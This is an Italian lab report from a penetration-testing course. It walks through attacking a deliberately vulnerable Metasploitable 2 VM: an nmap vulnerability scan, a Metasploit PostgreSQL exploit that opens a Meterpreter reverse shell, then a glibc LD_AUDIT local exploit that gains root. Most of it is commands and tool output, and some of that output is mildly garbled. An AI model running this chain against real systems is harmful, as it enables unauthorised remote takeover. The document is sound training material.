

Metasploit

Scalata dei privilegi

Sommario

Traccia esercizio.....	2
Svolgimento esercizio principale	3
Configurazione del laboratorio	3
Scansione preliminare	3
Attacco metasploit con postgres	5
Moduli exploit	6
Backdoor	7

Traccia esercizio

Usa il modulo exploit/linux/postgres/postgres_payload per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2. Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target.

Escalation di privilegi e backdoor:

- Una volta ottenuta la sessione Meterpreter, il tuo compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.
- Esegui il comando **getuid** per verificare l'identità dell'utente corrente.
- Usa il modulo **post** di msfconsole per identificare potenziali vulnerabilità locali che possono essere sfruttate per l'escalation di privilegi.
- Esegui l'exploit proposti e verifica ogni vulnerabilità trovata dal modulo sopracitato.
- Per ogni vulnerabilità test l'escalation di privilegi eseguendo nuovamente getuid o tentando di eseguire un comando che richiede privilegi di root.
- Sempre usando msfconsole installa una backdoor e dimostra che puoi accedere ad essa in un momento successivo.

Suggerimento criptico: ricorda che sei nella sessione del procione e quindi fai attenzione agli architetti.

SUGGERIMENTO al suggerimento criptico e non solo: procione in inglese vuol essere anagramma.

Svolgimento esercizio principale

Configurazione del laboratorio

- Kali Linux IP statico: 192.168.11.111
- Metasploitable2 IP statico: 192.168.11.112

Scansione preliminare

Si effettua una scansione con nmap sulle porte aperte includendo lo script vuln, comando: **nmap -sV --script vuln 192.168.1.112**

```
(kali㉿kali)-[~]
└─$ nmap -sV --script vuln 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 19:27 CET
Stats: 0:03:14 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 47.45% done; ETC: 19:31 (0:00:20 remaining)
Stats: 0:04:41 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 94.33% done; ETC: 19:31 (0:00:06 remaining)
Stats: 0:08:00 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.31% done; ETC: 19:36 (0:00:02 remaining)
Stats: 0:08:01 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.31% done; ETC: 19:36 (0:00:02 remaining)
Stats: 0:08:02 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.31% done; ETC: 19:36 (0:00:02 remaining)
Stats: 0:10:40 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.69% done; ETC: 19:38 (0:00:01 remaining)
Stats: 0:10:41 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.69% done; ETC: 19:38 (0:00:01 remaining)
Nmap scan report for 192.168.11.112
Host is up (0.014s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-vsftpd-backdoor:
|   VULNERABLE:
|     vsFTPD version 2.3.4 backdoor
|       State: VULNERABLE (Exploitable)
|         IDs: CVE-2011-2523 BID:48539
|           vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|             Disclosure date: 2011-07-03
|             Exploit results:
|               Sh: null command: id
|                 Results: uid=0(root) gid=0(root)
|               References:
|                 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|                 http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|                 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|                 https://www.exploit-db.com/bid/48539
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet
25/tcp    open  smtp?
|_smtp-vuln-cve2010-4344:
|   The SMTP server is not Exim: NOT VULNERABLE
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf:
|_Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.11.112
| Found the following possible CSRF vulnerabilities:
|   Path: http://192.168.11.112:80/dvwa/
|   Form id: dvwa
|   Form action: login.php
|   Path: http://192.168.11.112:80/mutillidae/index.php?page=html5-storage.php
|   Form id: dvwa
|   Form action: index.php?page=html5-storage.php
|_http-trace: TRACE is enabled
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-enum:
|   /tikiwiki/: Tikiwiki
|   /test/: test page
|   /info/: Possible information file
|   /phpMyAdmin/: phpMyAdmin
|   /doc/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) dav/2'
|   /icons/: Potentially interesting folder w/ directory listing
|   /index/: Potentially interesting folder
|-http-slowloris-check:
|   VULNERABLE:
|     Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs: CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. By doing so, it starves the http server's resources causing Denial Of Service.
|       Disclosure date: 2009-09-17
|       References:
|         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|         http://ha.ckers.org/slowloris/
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-sql-injection:
|   Possible sql for queries:
|     http://192.168.11.112:80/dav/C-N%3B0%3DA2%27%200R%20sqlspider
|     http://192.168.11.112:80/dav/C-S%3B0%3DA2%27%200R%20sqlspider
|     http://192.168.11.112:80/dav/C-D%3B0%3DA2%27%200R%20sqlspider
|     http://192.168.11.112:80/dav/C-N%3B0%3D0%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=html5-storage.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=view-someonee-blog.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=site-footer-xss-discussion.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=capture-data.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=credits.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=about.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=source_info.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=php_errors.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=text-file-viewer.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=text-file-viewer.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=source-viewer.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=secret-administrative-pages.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=login.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=register.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=arbitrary-file-inclusion.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=secret-single-page.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=change-log.htm%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=source-viewer.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=home.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=show-log.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=documentation2%2Fvulnerabilities.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=credits.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=add-to-your-blog.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=new-someonee-blog.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=how-to-access-Mutillidae-over-Virtual-Box-network.php%27%200R%20sqlspider
|     http://192.168.11.112:80/mutillidae/index.php?page=tool_lookup.php%27%200R%20sqlspider
```

```

network.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=pen-test-tool-lookup.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=user-poll.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=installation.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=show-log.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=dns-lookup.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?username=anonymous&page=password-generator.php%27%20OR%20sqlspider
http://192.168.11.112:80/dav/?c=%3B%03DA%27%20R%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=html5-storage.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=view-someones-blog.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=site-footer-discussion.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=capture-data.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=credits.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=framing.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=arbitrary-file-upload.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/?page=text-file-viewer.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/?page=source-viewer.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=login.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/?page=add-to-your-blog.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/?page=login.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/?page=register.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=add-to-your-blog.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=change-log.htm%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=user-info.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=user-pw.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=source-viewer.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=home.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/?page=log.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=documentation%2Fvulnerabilities.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=secret-administrative-pages.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=view-someones-blog.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=documentation%2Fhow-to-access-Mutillidae-over-Virtual-Box-
network.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=pen-test-tool-lookup.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=arbitrary-file-injection.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=change-log.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=captured-data.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=dns-lookup.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?username=anonymous&page=password-generator.php%27%20OR%20sqlspider
http://192.168.11.112:80/mutillidae/index.php?page=set-background-color.php%27%20OR%20sqlspider
111/tcp open rpcbind 2 (RPC #100000)
  rpcinfo:
    program version port/proto service
    10000 2 111/tcp rpcbind
    10000 2 111/udp rpcbind
    10000 2,3,4 2049/tcp nfs
    10000 2,3,4 2049/udp
    100005 1,2,3 43137/tcp mountd
    100005 1,2,3 45142/udp mountd
    100021 1,3,4 42429/tcp nlockmgr
    100021 1,3,4 57693/udp nlockmgr
    100024 1 38899/tcp status
    100024 1 40459/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec?
512/tcp open login?
512/tcp open shell?
1099/tcp open java-rmi   GNU Classpath grmiregistry
  rmi-vuln-classloader:
    VULNERABLE:
      RMI registry default configuration remote code execution vulnerability
      State: VULNERABLE
        Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.

      References:
        https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
1524/tcp open bindshell Metasploitable root shell
2009/tcp open nfs 2-4 (RPC #20003)
2131/tcp open cproxy-ftp?
3306/tcp open mysql?
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
  |_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP Engine 1.1
  |_http-dombased-xss: Couldn't find any DOM based XSS.
  |_http-sql-injection: ERROR: Script execution failed (use -d to debug)
  |_http-sql-injection: Couldnt find any stored XSS vulnerabilities.
  |_http-cookie-flags:
    /admin/:
      JSESSIONID:
        httponly flag not set
  |_http-csrf:
    Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.11.112
    Found the following possible CSRF vulnerabilities:
      Path: http://192.168.11.112:8180/admin/
      Form id: username
      Form action: _j_security_check;jsessionid=9249A29316BD045E4C2129F2D750D4A1
      Path: http://192.168.11.112:8180/jsp-examples/jsp2/el/implicit-objects.jsp?foo=bar
      Form id:
      Form action: implicit-objects.jsp
    http-equiv:
      /admin/:
        /admin/: Possible admin folder
        /admin/index.html: Possible admin folder
        /admin/login.html: Possible admin folder
        /admin/admin.html: Possible admin folder
        /admin/account.html: Possible admin folder
        /admin/admin_login.html: Possible admin folder
        /admin/admin_loginable.html: Possible admin folder
        /admin/adminLogin.html: Possible admin folder
        /admin/controlpanel.html: Possible admin folder
        /admin/cp.html: Possible admin folder
        /admin/index.jsp: Possible admin folder
        /admin/login.jsp: Possible admin folder
MAC Address: 08:00:27:23:73:DC (Oracle VirtualBox virtual NIC)
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
  |_smb-vuln-ms10-054: false
  |_smb-vuln-ms10-061: false
  |_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 846.08 seconds

```

Attacco metasploit con postgres

Avviare con il comando **msfconsole** e lanciare i seguenti comandi:

1. Cercare i moduli relativi alla vulnerabilità: **search exploit/linux/postgres/postgres_payload**

```
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search exploit/linux/postgres/postgres_payload
Matching Modules
=====
#  Name
heck Description
-
0  exploit/linux/postgres/postgres_payload  2007-06-05      excellent  Y
es PostgreSQL for Linux Payload Execution
  1  \_ target: Linux x86
  2  \_ target: Linux x86_64
```

2. Quindi si seleziona il modulo trovato: **use 0**

3. visualizzare le impostazioni: **options**

```
Used when making a new connection via RHOSTS:
Name  Current Setting  Required  Description
DATABASE  postgres        no        The database to authenticate against.
PASSWORD  postgres        no        The password for the specified database name. Leave blank for a random password.
RHOSTS          no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit
RPORT    5432            no        The target port
USERNAME  postgres        no        The username to authenticate as.

Payload options (linux/x86/meterpreter/reverse_tcp):
Name  Current Setting  Required  Description
LHOST          yes       The listen address (an interface must be specified)
LPORT    4444            yes       The listen port
```

4. impostare IP target: **set RHOSTS 192.168.11.112**

5. impostare IP di ascolto: **set LHOST 192.168.11.111**

6. avviare l'attacco: **run**

```
View the full module info with the info, or info -d command.

msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/ezYpZpFX.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:4141
8) at 2024-10-30 19:33:57 +0100

meterpreter >
```

7. si è entrati con l'utente postgres

```
meterpreter > getuid
Server username: postgres
```

8. mettere in background la sessione: **bg**

Moduli exploit

Comandi

- **use post/multi/recon/local_exploit_suggester**
- **set SESSION 1**
- **run**

```
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(linux/postgres/postgres_payload) > search post/multi/recon/local_exploit_suggester

Matching Modules
=====
File System
=====
#  Name
-  --
0  post/multi/recon/local_exploit_suggester . normal No Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf6 exploit(linux/postgres/postgres_payload) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):
=====
Name      Current Setting  Required  Description
SESSION      yes           The session to run this module on
SHOWDESCRIPTION  false        yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.11.112 - Collecting local exploits for x86/linux ...
[*] 192.168.11.112 - 198 exploit checks are being tried...

#  Name          Potentially Vulnerable?  Check Result
-  --
1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc  Yes   The target appears to be vulnerable.
2  exploit/linux/local/glibc_origin_expansion_priv_esc  Yes   The target appears to be vulnerable.
3  exploit/linux/local/netfilter_priv_esc_ipv4    Yes   The target appears to be vulnerable.
4  exploit/linux/local/ptrace_sudo_token_priv_esc  Yes   The service is running, but could not be validated.
5  exploit/linux/local/su_login      Yes   The target appears to be vulnerable.
6  exploit/unix/local/setuid_mmap    Yes   The target is vulnerable. /usr/bin/nmap is setuid
7  exploit/linux/local/abort_raceabrt_priv_esc  No    The target is not exploitable.
8  exploit/linux/local/abort_sosreport_priv_esc  No    The target is not exploitable.
9  exploit/linux/local/af_packet_chocobo_root_priv_esc  No    The target is not exploitable. System architecture i686
```

exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: Exploit per vulnerabilità in glibc che permette l'escalation di privilegi.

Utilizzare i comandi conosciuti e settare la sessione 1 e lanciare l'exploit.

```
msf6 post(multi/recon/local_exploit_suggester) > search exploit/linux/local/glibc_ld_audit_dso_load_priv_esc

Matching Modules
=====
#  Name
-  --
0  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc  2010-10-18  excellent  Yes  glibc LD_AUDIT Arbitrary DSO Load
1  \_ target: Automatic
2  \_ target: Linux X86
3  \_ target: Linux x64

Interact with a module by name or index. For example info 3, use 3 or use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x64'

msf6 post(multi/recon/local_exploit_suggester) > use 1
[*] Additionally setting TARGET => Automatic
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
=====
Name      Current Setting  Required  Description
SESSION      yes           The session to run this module on
SUID_EXECUTABLE /bin/ping  yes       Path to a SUID executable

Payload options (linux/x64/meterpreter/reverse_tcp):
=====
Name      Current Setting  Required  Description
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT      4444            yes       The listen port

Exploit target:
=====
Id  Name
-  --
0  Automatic
```

Attenzione! Modificare il payload in *linux/x86/meterpreter/reverse_tcp* da x64 a x86:
set payload linux/x86/meterpreter/reverse_tcp

Come da immagine, si è riuscito ad ottenere l'utente root tramite il comando **getuid**

```
view the route module info with the info, or info a command.

msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.w8Pjl81' (1271 bytes) ...
[*] Writing '/tmp/.lnTqYlb' (281 bytes) ...
[*] Writing '/tmp/.n23SV' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 2 opened (192.168.11.111:4444 -> 192.168.11.112:57718) at 2024-10-31 21:30:22 +0100

meterpreter > getuid
Server username: root
meterpreter > █
```

Backdoor

Per quanto riguarda la backdoor si rimanda al report M4\W16\D5 pagina 11 sezione “Backdoor”